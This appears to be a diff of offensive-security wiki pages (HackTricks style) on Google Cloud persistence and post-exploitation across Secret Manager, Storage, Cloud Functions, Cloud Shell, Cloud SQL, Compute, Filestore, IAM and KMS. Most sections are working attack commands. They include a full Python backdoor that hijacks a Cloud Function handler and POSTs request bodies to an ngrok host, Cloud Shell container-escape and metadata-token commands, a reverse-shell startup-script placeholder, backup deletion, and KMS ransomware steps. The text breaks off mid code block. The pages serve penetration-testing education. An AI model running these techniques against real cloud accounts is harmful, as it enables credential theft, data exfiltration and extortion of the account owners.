An attacker could update the secret to:
|
||||
|
||||
- **Stop rotations** so the secret won't be modified
|
||||
- **Make rotations much less often** so the secret won't be modified
|
||||
- **Publish the rotation message to a different pub/sub**
|
||||
- **Modify the rotation code being executed.** This happens in a different service, probably in a Cloud Function, so the attacker will need privileged access over the Cloud Function or any other service.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,38 @@
|
||||
# GCP - Storage Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Storage
|
||||
|
||||
For more information about Cloud Storage check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-storage-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.hmacKeys.create`
|
||||
|
||||
You can create an HMAC to maintain persistence over a bucket. For more information about this technique [**check it here**](../gcp-privilege-escalation/gcp-storage-privesc.md#storage.hmackeys.create).
|
||||
|
||||
```bash
|
||||
# Create key
|
||||
gsutil hmac create <sa-email>
|
||||
|
||||
# Configure gsutil to use it
|
||||
gsutil config -a
|
||||
|
||||
# Use it
|
||||
gsutil ls gs://[BUCKET_NAME]
|
||||
```
|
||||
|
||||
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
|
||||
|
||||
### Give Public Access
|
||||
|
||||
**Making a bucket publicly accessible** is another way to maintain access over the bucket. Check how to do it in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-storage-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,2 @@
|
||||
# GCP - Post Exploitation
|
||||
|
||||
+43
@@ -0,0 +1,43 @@
|
||||
# GCP - App Engine Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `App Engine`
|
||||
|
||||
For information about App Engine check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-app-engine-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
|
||||
|
||||
With these permissions it's possible to:
|
||||
|
||||
- Add a key
|
||||
- List keys
|
||||
- Get a key
|
||||
- Delete
|
||||
|
||||
> [!CAUTION]
|
||||
> However, I **couldn't find any way to access this information from the cli**, only from the **web console** where you need to know the **Key type** and the **Key name**, of from the a**pp engine running app**.
|
||||
>
|
||||
> If you know easier ways to use these permissions send a Pull Request!
|
||||
|
||||
### `logging.views.access`
|
||||
|
||||
With this permission it's possible to **see the logs of the App**:
|
||||
|
||||
```bash
|
||||
gcloud app logs tail -s <name>
|
||||
```
|
||||
|
||||
### Read Source Code
|
||||
|
||||
The source code of all the versions and services are **stored in the bucket** with the name **`staging.<proj-id>.appspot.com`**. If you have write access over it you can read the source code and search for **vulnerabilities** and **sensitive information**.
|
||||
|
||||
### Modify Source Code
|
||||
|
||||
Modify source code to steal credentials if they are being sent or perform a defacement web attack.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
# GCP - Artifact Registry Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Artifact Registry
|
||||
|
||||
For more information about Artifact Registry check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-artifact-registry-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Privesc
|
||||
|
||||
The Post Exploitation and Privesc techniques of Artifact Registry were mixed in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-artifact-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
# GCP - Cloud Build Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Build
|
||||
|
||||
For more information about Cloud Build check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-build-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudbuild.builds.approve`
|
||||
|
||||
With this permission you can approve the execution of a **codebuild that require approvals**.
|
||||
|
||||
```bash
|
||||
# Check the REST API in https://cloud.google.com/build/docs/api/reference/rest/v1/projects.locations.builds/approve
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{{
|
||||
"approvalResult": {
|
||||
object (ApprovalResult)
|
||||
}}' \
|
||||
"https://cloudbuild.googleapis.com/v1/projects/<PROJECT_ID>/locations/<LOCATION>/builds/<BUILD_ID>:approve"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+128
@@ -0,0 +1,128 @@
|
||||
# GCP - Cloud Functions Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Functions
|
||||
|
||||
Find some information about Cloud Functions in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-functions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudfunctions.functions.sourceCodeGet`
|
||||
|
||||
With this permission you can get a **signed URL to be able to download the source code** of the Cloud Function:
|
||||
|
||||
```bash
|
||||
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
|
||||
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
|
||||
### Steal Cloud Function Requests
|
||||
|
||||
If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.
|
||||
|
||||
Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.
|
||||
|
||||
For example this code implements the attack:
|
||||
|
||||
```python
|
||||
import functions_framework
|
||||
|
||||
|
||||
# Some python handler code
|
||||
@functions_framework.http
|
||||
def hello_http(request, last=False, error=""):
|
||||
"""HTTP Cloud Function.
|
||||
Args:
|
||||
request (flask.Request): The request object.
|
||||
<https://flask.palletsprojects.com/en/1.1.x/api/#incoming-request-data>
|
||||
Returns:
|
||||
The response text, or any set of values that can be turned into a
|
||||
Response object using `make_response`
|
||||
<https://flask.palletsprojects.com/en/1.1.x/api/#flask.make_response>.
|
||||
"""
|
||||
|
||||
if not last:
|
||||
return injection()
|
||||
else:
|
||||
if error:
|
||||
return error
|
||||
else:
|
||||
return "Hello World!"
|
||||
|
||||
|
||||
|
||||
# Attacker code to inject
|
||||
# Code based on the one from https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py
|
||||
|
||||
new_function = """
|
||||
def exfiltrate(request):
|
||||
try:
|
||||
from urllib import request as urllib_request
|
||||
req = urllib_request.Request("https://8b01-81-33-67-85.ngrok-free.app", data=bytes(str(request._get_current_object().get_data()), "utf-8"), method="POST")
|
||||
urllib_request.urlopen(req, timeout=0.1)
|
||||
except Exception as e:
|
||||
if not "read operation timed out" in str(e):
|
||||
return str(e)
|
||||
|
||||
return ""
|
||||
|
||||
def new_http_view_func_wrapper(function, request):
|
||||
def view_func(path):
|
||||
try:
|
||||
error = exfiltrate(request)
|
||||
return function(request._get_current_object(), last=True, error=error)
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
|
||||
return view_func
|
||||
"""
|
||||
|
||||
def injection():
|
||||
global new_function
|
||||
try:
|
||||
from flask import current_app as app
|
||||
import flask
|
||||
import os
|
||||
import importlib
|
||||
import sys
|
||||
|
||||
if os.access('/tmp', os.W_OK):
|
||||
new_function_path = "/tmp/function.py"
|
||||
with open(new_function_path, "w") as f:
|
||||
f.write(new_function)
|
||||
os.chmod(new_function_path, 0o777)
|
||||
|
||||
if not os.path.exists('/tmp/function.py'):
|
||||
return "/tmp/function.py doesn't exists"
|
||||
|
||||
# Get relevant function names
|
||||
handler_fname = os.environ.get("FUNCTION_TARGET") # Cloud Function env variable indicating the name of the function to habdle requests
|
||||
source_path = os.environ.get("FUNCTION_SOURCE", "./main.py") # Path to the source file of the Cloud Function (./main.py by default)
|
||||
realpath = os.path.realpath(source_path) # Get full path
|
||||
|
||||
# Get the modules representations
|
||||
spec_handler = importlib.util.spec_from_file_location("main_handler", realpath)
|
||||
module_handler = importlib.util.module_from_spec(spec_handler)
|
||||
|
||||
spec_backdoor = importlib.util.spec_from_file_location('backdoor', '/tmp/function.py')
|
||||
module_backdoor = importlib.util.module_from_spec(spec_backdoor)
|
||||
|
||||
# Load the modules inside the app context
|
||||
with app.app_context():
|
||||
spec_handler.loader.exec_module(module_handler)
|
||||
spec_backdoor.loader.exec_module(module_backdoor)
|
||||
|
||||
# make the cloud funtion use as handler the new function
|
||||
prev_handler = getattr(module_handler, handler_fname)
|
||||
new_func_wrap = getattr(module_backdoor, 'new_http_view_func_wrapper')
|
||||
app.view_functions["run"] = new_func_wrap(prev_handler, flask.request)
|
||||
return "Injection completed!"
|
||||
|
||||
except Exception as e:
|
||||
return str(e)
|
||||
```
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
# GCP - Cloud Run Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Run
|
||||
|
||||
For more information about Cloud Run check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-run-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Access the images
|
||||
|
||||
If you can access the container images check the code for vulnerabilities and hardcoded sensitive information. Also for sensitive information in env variables.
|
||||
|
||||
If the images are stored in repos inside the service Artifact Registry and the user has read access over the repos, he could also download the image from this service.
|
||||
|
||||
### Modify & redeploy the image
|
||||
|
||||
Modify the run image to steal information and redeploy the new version (just uploading a new docker container with the same tags won't get it executed). For example, if it's exposing a login page, steal the credentials users are sending.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+102
@@ -0,0 +1,102 @@
|
||||
# GCP - Cloud Shell Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud Shell
|
||||
|
||||
For more information about Cloud Shell check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Container Escape
|
||||
|
||||
Note that the Google Cloud Shell runs inside a container, you can **easily escape to the host** by doing:
|
||||
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
|
||||
This is not considered a vulnerability by google, but it gives you a wider vision of what is happening in that env.
|
||||
|
||||
Moreover, notice that from the host you can find a service account token:
|
||||
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
|
||||
With the following scopes:
|
||||
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
https://www.googleapis.com/auth/devstorage.read_only
|
||||
https://www.googleapis.com/auth/logging.write
|
||||
https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
|
||||
Enumerate metadata with LinPEAS:
|
||||
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
|
||||
After using [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) with the token of the Service Account **no permission was discovered**...
|
||||
|
||||
### Use it as Proxy
|
||||
|
||||
If you want to use your google cloud shell instance as proxy you need to run the following commands (or insert them in the .bashrc file):
|
||||
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
|
||||
Just for let you know Squid is a http proxy server. Create a **squid.conf** file with the following settings:
|
||||
|
||||
```bash
|
||||
http_port 3128
|
||||
cache_dir /var/cache/squid 100 16 256
|
||||
acl all src 0.0.0.0/0
|
||||
http_access allow all
|
||||
```
|
||||
|
||||
copy the **squid.conf** file to **/etc/squid**
|
||||
|
||||
```bash
|
||||
sudo cp squid.conf /etc/squid
|
||||
```
|
||||
|
||||
Finally run the squid service:
|
||||
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
|
||||
Use ngrok to let the proxy be available from outside:
|
||||
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
|
||||
After running copy the tcp:// url. If you want to run the proxy from a browser it is suggested to remove the tcp:// part and the port and put the port in the port field of your browser proxy settings (squid is a http proxy server).
|
||||
|
||||
For better use at startup the .bashrc file should have the following lines:
|
||||
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
sudo service squid start
|
||||
cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
|
||||
The instructions were copied from [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Check that page for other crazy ideas to run any kind of software (databases and even windows) in Cloud Shell.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+103
@@ -0,0 +1,103 @@
|
||||
# GCP - Cloud SQL Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cloud SQL
|
||||
|
||||
For more information about Cloud SQL check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-cloud-sql-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudsql.instances.update`, ( `cloudsql.instances.get`)
|
||||
|
||||
To connect to the databases you **just need access to the database port** and know the **username** and **password**, there isn't any IAM requirements. So, an easy way to get access, supposing that the database has a public IP address, is to update the allowed networks and **allow your own IP address to access it**.
|
||||
|
||||
```bash
|
||||
# Use --assign-ip to make the database get a public IPv4
|
||||
gcloud sql instances patch $INSTANCE_NAME \
|
||||
--authorized-networks "$(curl ifconfig.me)" \
|
||||
--assign-ip \
|
||||
--quiet
|
||||
|
||||
mysql -h <ip_db> # If mysql
|
||||
|
||||
# With cloudsql.instances.get you can use gcloud directly
|
||||
gcloud sql connect mysql --user=root --quiet
|
||||
```
|
||||
|
||||
It's also possible to use **`--no-backup`** to **disrupt the backups** of the database.
|
||||
|
||||
As these are the requirements I'm not completely sure what are the permissions **`cloudsql.instances.connect`** and **`cloudsql.instances.login`** for. If you know it send a PR!
|
||||
|
||||
### `cloudsql.users.list`
|
||||
|
||||
Get a **list of all the users** of the database:
|
||||
|
||||
```bash
|
||||
gcloud sql users list --instance <intance-name>
|
||||
```
|
||||
|
||||
### `cloudsql.users.create`
|
||||
|
||||
This permission allows to **create a new user inside** the database:
|
||||
|
||||
```bash
|
||||
gcloud sql users create <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
|
||||
### `cloudsql.users.update`
|
||||
|
||||
This permission allows to **update user inside** the database. For example, you could change its password:
|
||||
|
||||
```bash
|
||||
gcloud sql users set-password <username> --instance <instance-name> --password <password>
|
||||
```
|
||||
|
||||
### `cloudsql.instances.restoreBackup`, `cloudsql.backupRuns.get`
|
||||
|
||||
Backups might contain **old sensitive information**, so it's interesting to check them.\
|
||||
**Restore a backup** inside a database:
|
||||
|
||||
```bash
|
||||
gcloud sql backups restore <backup-id> --restore-instance <instance-id>
|
||||
```
|
||||
|
||||
To do it in a more stealth way it's recommended to create a new SQL instance and recover the data there instead of in the currently running databases.
|
||||
|
||||
### `cloudsql.backupRuns.delete`
|
||||
|
||||
This permission allow to delete backups:
|
||||
|
||||
```bash
|
||||
gcloud sql backups delete <backup-id> --instance <instance-id>
|
||||
```
|
||||
|
||||
### `cloudsql.instances.export`, `storage.objects.create`
|
||||
|
||||
**Export a database** to a Cloud Storage Bucket so you can access it from there:
|
||||
|
||||
```bash
|
||||
# Export sql format, it could also be csv and bak
|
||||
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>
|
||||
```
|
||||
|
||||
### `cloudsql.instances.import`, `storage.objects.get`
|
||||
|
||||
**Import a database** (overwrite) from a Cloud Storage Bucket:
|
||||
|
||||
```bash
|
||||
# Import format SQL, you could also import formats bak and csv
|
||||
gcloud sql import sql <instance-id> <gs://bucketName/fileName>
|
||||
```
|
||||
|
||||
### `cloudsql.databases.delete`
|
||||
|
||||
Delete a database from the db instance:
|
||||
|
||||
```bash
|
||||
gcloud sql databases delete <db-name> --instance <instance-id>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+120
@@ -0,0 +1,120 @@
|
||||
# GCP - Compute Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Compute
|
||||
|
||||
For more information about Compute and VPC (Networking) check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-compute-instances-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Export & Inspect Images locally
|
||||
|
||||
This would allow an attacker to **access the data contained inside already existing images** or **create new images of running VMs** and access their data without having access to the running VM.
|
||||
|
||||
It's possible to export a VM image to a bucket and then download it and mount it locally with the command:
|
||||
|
||||
```bash
|
||||
gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
|
||||
# The download the export from the bucket and mount it locally
|
||||
```
|
||||
|
||||
Fore performing this action the attacker might need privileges over the storage bucket and for sure **privileges over cloudbuild** as it's the **service** which is going to be asked to perform the export\
|
||||
Moreover, for this to work the codebuild SA and the compute SA needs privileged permissions.\
|
||||
The cloudbuild SA `<project-id>@cloudbuild.gserviceaccount.com` needs:
|
||||
|
||||
- roles/iam.serviceAccountTokenCreator
|
||||
- roles/compute.admin
|
||||
- roles/iam.serviceAccountUser
|
||||
|
||||
And the SA `<project-id>-compute@developer.gserviceaccount.com` needs:
|
||||
|
||||
- oles/compute.storageAdmin
|
||||
- roles/storage.objectAdmin
|
||||
|
||||
### Export & Inspect Snapshots & Disks locally
|
||||
|
||||
It's not possible to directly export snapshots and disks, but it's possible to **transform a snapshot in a disk, a disk in an image** and following the **previous section**, export that image to inspect it locally
|
||||
|
||||
```bash
|
||||
# Create a Disk from a snapshot
|
||||
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]
|
||||
|
||||
# Create an image from a disk
|
||||
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]
|
||||
```
|
||||
|
||||
### Inspect an Image creating a VM
|
||||
|
||||
With the goal of accessing the **data stored in an image** or inside a **running VM** from where an attacker **has created an image,** it possible to grant an external account access over the image:
|
||||
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
|
||||
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
|
||||
--role='roles/compute.imageUser'
|
||||
```
|
||||
|
||||
and then create a new VM from it:
|
||||
|
||||
```bash
|
||||
gcloud compute instances create [INSTANCE_NAME] \
|
||||
--project=[TARGET_PROJECT_ID] \
|
||||
--zone=[ZONE] \
|
||||
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]
|
||||
```
|
||||
|
||||
If you could not give your external account access over image, you could launch a VM using that image in the victims project and **make the metadata execute a reverse shell** to access the image adding the param:
|
||||
|
||||
```bash
|
||||
--metadata startup-script='#! /bin/bash
|
||||
echo "hello"; <reverse shell>'
|
||||
```
|
||||
|
||||
### Inspect a Snapshot/Disk attaching it to a VM
|
||||
|
||||
With the goal of accessing the **data stored in a disk or a snapshot, you could transform the snapshot into a disk, a disk into an image and follow th preivous steps.**
|
||||
|
||||
Or you could **grant an external account access** over the disk (if the starting point is a snapshot give access over the snapshot or create a disk from it):
|
||||
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT_ID] \
|
||||
--member='user:[USER_EMAIL]' \
|
||||
--role='roles/compute.storageAdmin'
|
||||
```
|
||||
|
||||
**Attach the disk** to an instance:
|
||||
|
||||
```bash
|
||||
gcloud compute instances attach-disk [INSTANCE_NAME] \
|
||||
--disk [DISK_NAME] \
|
||||
--zone [ZONE]
|
||||
```
|
||||
|
||||
Mount the disk inside the VM:
|
||||
|
||||
1. **SSH into the VM**:
|
||||
|
||||
```sh
|
||||
gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
|
||||
```
|
||||
|
||||
2. **Identify the Disk**: Once inside the VM, identify the new disk by listing the disk devices. Typically, you can find it as `/dev/sdb`, `/dev/sdc`, etc.
|
||||
3. **Format and Mount the Disk** (if it's a new or raw disk):
|
||||
|
||||
- Create a mount point:
|
||||
|
||||
```sh
|
||||
sudo mkdir -p /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
- Mount the disk:
|
||||
|
||||
```sh
|
||||
sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]
|
||||
```
|
||||
|
||||
If you **cannot give access to a external project** to the snapshot or disk, you might need to p**erform these actions inside an instance in the same project as the snapshot/disk**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+100
@@ -0,0 +1,100 @@
|
||||
# GCP - Filestore Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Filestore
|
||||
|
||||
For more information about Filestore check:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Mount Filestore
|
||||
|
||||
A shared filesystem **might contain sensitive information** interesting from an attackers perspective. With access to the Filestore it's possible to **mount it**:
|
||||
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nfs-common
|
||||
# Check the share name
|
||||
showmount -e <IP>
|
||||
# Mount the share
|
||||
mkdir /mnt/fs
|
||||
sudo mount [FILESTORE_IP]:/[FILE_SHARE_NAME] /mnt/fs
|
||||
```
|
||||
|
||||
To find the IP address of a filestore insatnce check the enumeration section of the page:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-filestore-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Remove Restrictions and get extra permissions
|
||||
|
||||
If the attacker isn't in an IP address with access over the share, but you have enough permissions to modify it, it's possible to remover the restrictions or access over it. It's also possible to grant more privileges over your IP address to have admin access over the share:
|
||||
|
||||
```bash
|
||||
gcloud filestore instances update nfstest \
|
||||
--zone=<exact-zone> \
|
||||
--flags-file=nfs.json
|
||||
|
||||
# Contents of nfs.json
|
||||
{
|
||||
"--file-share":
|
||||
{
|
||||
"capacity": "1024",
|
||||
"name": "<share-name>",
|
||||
"nfs-export-options": [
|
||||
{
|
||||
"access-mode": "READ_WRITE",
|
||||
"ip-ranges": [
|
||||
"<your-ip-private-address>/32"
|
||||
],
|
||||
"squash-mode": "NO_ROOT_SQUASH",
|
||||
"anon_uid": 1003,
|
||||
"anon_gid": 1003
|
||||
}
|
||||
]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Restore a backup
|
||||
|
||||
If there is a backup it's possible to **restore it** in an existing or in a new instance so its **information becomes accessible:**
|
||||
|
||||
```bash
|
||||
# Create a new filestore if you don't want to modify the old one
|
||||
gcloud filestore instances create <new-instance-name> \
|
||||
--zone=<zone> \
|
||||
--tier=STANDARD \
|
||||
--file-share=name=vol1,capacity=1TB \
|
||||
--network=name=default,reserved-ip-range=10.0.0.0/29
|
||||
|
||||
# Restore a backups in a new instance
|
||||
gcloud filestore instances restore <new-instance-name> \
|
||||
--zone=<zone> \
|
||||
--file-share=<instance-file-share-name> \
|
||||
--source-backup=<backup-name> \
|
||||
--source-backup-region=<backup-region>
|
||||
|
||||
# Follow the previous section commands to mount it
|
||||
```
|
||||
|
||||
### Create a backup and restore it
|
||||
|
||||
If you **don't have access over a share and don't want to modify it**, it's possible to **create a backup** of it and **restore** it as previously mentioned:
|
||||
|
||||
```bash
|
||||
# Create share backup
|
||||
gcloud filestore backups create <back-name> \
|
||||
--region=<region> \
|
||||
--instance=<instance-name> \
|
||||
--instance-zone=<instance-zone> \
|
||||
--file-share=<share-name>
|
||||
|
||||
# Follow the previous section commands to restore it and mount it
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,29 @@
|
||||
# GCP - IAM Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## IAM <a href="#service-account-impersonation" id="service-account-impersonation"></a>
|
||||
|
||||
You can find further information about IAM in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Granting access to management console <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
|
||||
|
||||
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**. To log in to the web interface, you can **grant access to a Google account** that you control. This can be a generic "**@gmail.com**" account, it does **not have to be a member of the target organization**.
|
||||
|
||||
To **grant** the primitive role of **Owner** to a generic "@gmail.com" account, though, you'll need to **use the web console**. `gcloud` will error out if you try to grant it a permission above Editor.
|
||||
|
||||
You can use the following command to **grant a user the primitive role of Editor** to your existing project:
|
||||
|
||||
```bash
|
||||
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
|
||||
```
|
||||
|
||||
If you succeeded here, try **accessing the web interface** and exploring from there.
|
||||
|
||||
This is the **highest level you can assign using the gcloud tool**.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,257 @@
|
||||
# GCP - KMS Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## KMS
|
||||
|
||||
Find basic information about KMS in:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-kms-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `cloudkms.cryptoKeyVersions.destroy`
|
||||
|
||||
An attacker with this permission could destroy a KMS version. In order to do this you first need to disable the key and then destroy it:
|
||||
|
||||
```python
|
||||
# pip install google-cloud-kms
|
||||
|
||||
from google.cloud import kms
|
||||
|
||||
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version):
|
||||
"""
|
||||
Disables a key version in Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
|
||||
# Build the key version name.
|
||||
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
# Call the API to disable the key version.
|
||||
client.update_crypto_key_version(request={'crypto_key_version': {'name': key_version_name, 'state': kms.CryptoKeyVersion.State.DISABLED}})
|
||||
|
||||
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version):
|
||||
"""
|
||||
Destroys a key version in Cloud KMS.
|
||||
"""
|
||||
# Create the client.
|
||||
client = kms.KeyManagementServiceClient()
|
||||
|
||||
# Build the key version name.
|
||||
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
# Call the API to destroy the key version.
|
||||
client.destroy_crypto_key_version(request={'name': key_version_name})
|
||||
|
||||
# Example usage
|
||||
project_id = 'your-project-id'
|
||||
location_id = 'your-location'
|
||||
key_ring_id = 'your-key-ring'
|
||||
key_id = 'your-key-id'
|
||||
key_version = '1' # Version number to disable and destroy
|
||||
|
||||
# Disable the key version
|
||||
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
|
||||
# Destroy the key version
|
||||
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
|
||||
```
|
||||
|
||||
### KMS Ransomware
|
||||
|
||||
In AWS it's possible to completely **steal a KMS key** by modifying the KMS resource policy and only allowing the attackers account to use the key. As these resource policies doesn't exist in GCP this is not possible.
|
||||
|
||||
However, there is another way to perform a global KMS Ransomware, which would involve the following steps:
|
||||
|
||||
- Create a new **version of the key with a key material** imported by the attacker
|
||||
|
||||
```bash
|
||||
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
|
||||
```
|
||||
|
||||
- Set it as **default version** (for future data being encrypted)
|
||||
- **Re-encrypt older data** encrypted with the previous version with the new one.
|
||||
- **Delete the KMS key**
|
||||
- Now only the attacker, who has the original key material could be able to decrypt the encrypted data
|
||||
|
||||
#### Here are the steps to import a new version and disable/delete the older data:
|
||||
|
||||
```bash
|
||||
# Encrypt something with the original key
|
||||
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
|
||||
